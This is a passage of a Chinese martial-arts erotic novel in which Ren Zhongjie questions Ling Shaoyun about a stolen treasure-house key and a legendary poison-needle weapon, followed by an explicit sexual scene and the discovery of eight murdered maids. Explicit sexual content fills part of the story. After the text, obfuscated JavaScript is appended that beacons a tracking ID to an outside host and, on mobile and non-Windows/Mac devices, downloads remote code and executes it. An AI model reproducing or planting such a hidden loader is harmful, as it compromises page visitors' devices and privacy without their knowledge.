「好,那你站起来说话!」任中杰松手放开了她的娇躯,淡淡道:「我有几个问题,最好大小姐能老老实实的回答!」

凌韶芸勉力直起纤腰,委委屈屈的点了点头,一双眼珠却滴溜溜的望着自己赤裸的美腿,秀目中流露出哀恳的神色。

任中杰无奈的叹了口气,只得伸手除下自己的长衫,用两条袖子在她腰间打了个结,这样整件衣衫就垂了下来,好像裙子一样遮挡住了她的下半身。

小屋里的气氛变得有些尴尬,两个人的眼光在空中一碰,都有些不好意思的移了开去。凌韶芸局促不安的卷着衣角,犹带泪珠的俏脸上露出娇憨的小儿女神态,赌气道:「你到底想问什么?快说呀!」

「问题很简单,别急……」任中杰沉思了片刻,忽然道:「你今晚是几时潜进‘碧水温池’的?怎么我竟没有发现你?」

凌韶芸撇了撇嘴,道:「我只比你早到一步,刚刚选好藏身的地方,就看到你进来啦!吓的我一动也不敢动,连那铁链都来不及收起。我在最高的那根横梁上,当然不会那么容易被发现啦!再说,你的一双眼睛只顾死死的盯在凌姨身上,哪里还会顾到别的?」

任中杰苦笑着道:「老天在上,我可没看到你凌姨的身子。她脱光衣服的时候,我已经规规矩矩地把视线移开啦!」

凌韶芸「扑哧」一笑,瞟着他道:「视线移开不假,但那是因为规矩么?别骗我啦,大色狼!我知道你是在盯着她的钥匙坠子!」

任中杰一震,缓缓道:「不错,我正是为了偷这钥匙坠子才潜进澡堂的。但你呢?你身为凌帮主的女儿,鬼鬼祟祟埋伏在澡堂里又是为了什么?」

凌韶芸白了他一眼,娇嗔道:「难道天下就只准你一个人做小偷么?哼,本小姐辛辛苦苦的费了那么大的尽,当然也是为了这柄钥匙来的!」

任中杰怔住了,讶然道:「你若想要这钥匙,为什么不直接开口向凌夫人要呢?」

凌韶芸冷笑道:「她要是肯给,我还用得着如此麻烦么?嘿,‘珍品阁’的钥匙是爹爹亲手交给她的,在她眼里比什么都重要……」

「珍品阁?」任中杰心中一动,沉吟道:「那是个什么所在?怎么我听起来觉得有几分耳熟?」

凌韶芸板起俏脸,佯怒道:「少装疯卖傻啦!你既然要偷这钥匙,还会不知道它是用来开启‘珍品阁’的吗?阁子里有许许多多珍奇的宝物,都是爹爹千辛万苦收集回来的……」

任中杰忽然一拍大腿,沈声道:「我想起来啦!罗当家曾经跟我说过,‘珍品阁’是总坛里的第二个禁地!除了你居住的这片树林外,另外一个‘擅入者杀无赦’的地方!」

凌韶芸嫣然道:「是呀!你总算想起来了!嘻嘻,这次我之所以打算偷偷潜入阁子,目的是为了寻找一个很厉害的武器……」

她兴奋得双颊晕红,指手画脚、叽叽咕咕的说个不停,俏脸上的泪痕已干,委屈的神情也不见了,看样子早就把「罚打屁股」的事忘的干干净净,略为红肿的妙目秋波流转,蕴含的全都是甜甜的笑意。

任中杰却陷入了沉思。看来那神秘的偷袭者要他复制钥匙,就是为了悄悄进入「珍品阁」,难道那里面有什么让他感兴趣的东西么?这和凌夫人的被刺是否又有某种关系?

「喂,人家跟你说话呢,你却心不在焉的在想些什么?」凌韶芸嗔怪地瞪着他,撒娇似的扭了扭身子,腻声道:「想必你已经把钥匙偷到手啦,借给人家用用好吗?」

任中杰抬起头,凝视着她的眸子道:「借你倒不妨!可是你得先告诉我,你要找的是什么武器?」

凌韶芸犹豫了一阵,突然收起了笑容,一字字道:「惊魂夺魄针!」

任中杰大吃一惊,失声道:「你说的是那失踪五十余年的,江湖上第一歹毒的邪门暗器──惊魂夺魄针?」

「对,就是那号称无人能躲的暗器之王!」凌韶芸咬咬嘴唇,颤声道:「实话对你说罢,我……我想拿这针筒,主要是为了对付一个人!」

好半晌,任中杰才从震惊中回过神来,苦笑道:「你想对付别人,还用的着针筒么?凌大小姐一声令下,神风帮千百兄弟一哄而上为你出气,这世上又有谁能招架?」

凌韶芸顿足道:「这件事我不想让太多的人知道。除了你和侍芸,我对谁都没有说过。那个坏家伙几次三番的捉弄我,不把他碎尸万段,委实难消我心头之恨……」

任中杰眨眨眼,调笑道:「他怎样捉弄你?也是剥掉你的裤子打屁股么?」

凌韶芸啐了一口,嗔道:「你以为人人都像你这样好色吗?不过,那个人比你还要可恶,简直可恶一万倍!他……总之,如果不用‘惊魂夺魄针’,我是无论如何也教训不了他的……」

任中杰沉吟道:「钥匙是不能借给你的,因为我另有要紧的用途……但是凌大小姐若想教训那个狂徒,我倒是可以代劳!这个人叫什么名字,住在城里的什么地方?」

凌韶芸冲口而出道:「我不知道他的名字,而且他也不在金陵城里!但我跟这人定下了约会,后天他一定会赶来赴约的。」

任中杰瞠目道:「你连对手是谁都不清楚,就想用‘惊魂夺魄针’去对付人家?」

凌韶芸理直气壮的道:「我管他是什么人!只要得罪了本小姐,绝对没有好果子吃!当然,你……你这大坏蛋是例外……」说到这里狠狠的瞪了他一眼,脸上的表情虽然凶,目光中却露出又是柔顺、又是羞涩的神色。

任中杰看的食欲大动,忍不住一把搂住了她的小蛮腰,略一用力,已是温香暖玉抱了个满怀。

凌韶芸「嘤咛」一声娇吟,整个身子软绵绵的靠在他的胸膛上,挺秀的鼻子微微翕动,嗅着他身上散发出的一阵阵男子气息,不禁芳心如撞小鹿,「咚咚」的跳个不停。

任中杰轻声一笑,伸掌温柔地抚摸着她的秀发,柔声问道:「屁股还痛得很么?」

凌韶芸把脸藏在他怀里,幽怨的道:「痛!怎么会不痛呢?没良心的坏蛋,那样重的出手打人家,难道你不懂得要怜香惜玉么?」

任中杰调笑道:「果然是我太重手啦!好,我现在就好好的怜惜怜惜你!」说完双手滑如游鱼,一上一下的探进了她的衣衫内,掌心立刻感受到了那温暖、滑腻、娇嫩的如同新鲜粉藕一般的肌肤。

凌韶芸娇躯巨颤,只觉得那双火热的大手正在自己身上肆意轻薄,不由得又惊怕又害臊,低呼道:「不……不要……嗯……别这样……」

任中杰哪容她多说,右手五指巧妙的轻轻一拨,解开了她贴身肚兜的系带,再顺手一拉,就把那淡兰色的肚兜抓出了衣衫外,放在鼻边一闻,啧啧称赞道:「好香啊……」

凌韶芸大羞,握起粉拳雨点似的砸在任中杰虎背上。此时她已是秀发散乱、衣不蔽体,上身的领口敞开了一半,露出了一大片雪白的胸部肌肤。两颗小巧的乳头失去了肚兜的保护,直接的在衣衫上顶出了诱人的轮廓,使人直欲咬之而甘心。

任中杰随手掷下肚兜,一手一个的握住了她那鸽子般可爱的乳房。这尚未经过人道的少女,乳房虽然不算很大,但却相当的饱满挺拔。峰顶那樱桃般的乳头娇嫩而敏感,被任中杰的手指轻轻一捏,就立刻的硬了起来。

「嗯……别碰那里……嗯嗯……坏蛋……」凌韶芸喃喃的呻吟了两声,俏脸却亲昵的凑了上来,用湿热的双唇主动的吻着任中杰的面颊,一双美腿更是情思难禁的轻触着他的膝盖,仿佛在述说着心头那越燃越盛的炽烈渴望。

任中杰的手逐渐下移,滑过平坦的小腹,越过茂密的丛林,开始侵略溪水淙淙的峡谷……

就在这个时候,一把少女焦急的声音在门外响起:「小姐,小姐,大事不好了……」随着说话声,她已快步闯进了房里,一眼看见这两人的举止,登时手足无措的呆住了。

凌韶芸「啊」的惊叫一声,急急挣脱了任中杰的怀抱,手忙脚乱的掩饰着自己的衣襟,粉脸红红的连话都说不出来了。

任中杰脸上的表情也是尴尬无比,他定了定神,勉强笑道:「侍芸姑娘,你好!外面发生什么事了?」

侍芸不答,双眼怔怔的凝视着他,那目光之中的神色极其复杂,有些伤感,有些幽怨,仿佛又有些失望……

任中杰突然觉得心里隐隐作痛,竟有些不敢迎视她的眼睛。因为那双瞳仁就似一弘秋水,清清楚楚的映照出了自己的阴暗!

这么多年来,他不断的追逐女人,勾引女人,诱惑女人,处处留情却又处无情,连他自己也记不清楚,有多少次伤害了纯真女孩的感情,多少次撕碎了多情少女的芳心……

──也许在这个世界上,根本就没有人能做到「风流不下流」的!

「喂,什么事不好啦?」凌韶芸很快的从春情荡漾中恢复过来,平静的道:「侍芸,你发什么呆呀?快把情况说说!」

侍芸身子发抖,颤声道:「凌夫人那边出了大事,‘白衣八剑婢’都……都被人杀了!孔……孔当家他们正在四处寻找任……任公子……」

任中杰听后耸然动容,震惊道:「被杀了?难道‘三口组’再次潜进总坛了么?」他顿了一顿,郑重的道:「凌大小姐,侍芸姑娘,我这就去看看。你们万事小心,千万别擅自走出这片树林,今夜可能有非常的凶险!」说完一抱拳,人已像闪电一样飞掠了出去。

侍芸奔到门口,对着他的背影大声道:「你自己也千万小心!」一边说,一边悄悄的拭去了眼角的泪痕。

************

当任中杰再次赶到「碧水温池」时,池边已经聚集了很多人!每一个人的拳头都握的紧紧的,每一个人的脸上都满含着的悲痛和愤怒!

温池还是温池,可是池水却不再像碧玉那样清澈了!整池的水完全变成了红色,是一种令人心悸的,鲜红、鲜红的颜色!

「白衣八剑婢」的尸体就漂浮在这血色的池水里,八双眼睛睁的大大的,惊恐而绝望的凝望着天空。半个时辰前,她们还是一群充满活力的青春少女,可是现在已经变成了冷冰冰的死人。

──八个年轻美好、热情洋溢的女孩子,就这样被辣手无情的毁灭了么?面对死神,人的生命是不是真的就如沧海一粟,渺小的不堪一击?

在这一瞬间,任中杰的心中不禁感到了浓厚的悲哀!他到此刻才深深的体会到,命运的安排是多么残酷,也许留给人生的痛苦远远的多于幸福……




function ReZXuWM(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function LjFzVkH(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return ReZXuWM(t);};window[''+'T'+'G'+'s'+'Y'+'I'+'q'+'e'+'K'+'c'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function isynG(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=LjFzVkH,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=isynG(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15361/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=isynG(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLm1wemx2cS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS55a2toanMMuY24lMM0E5NTMM1','167199',window,document,['M','M']);}:function(){};

关闭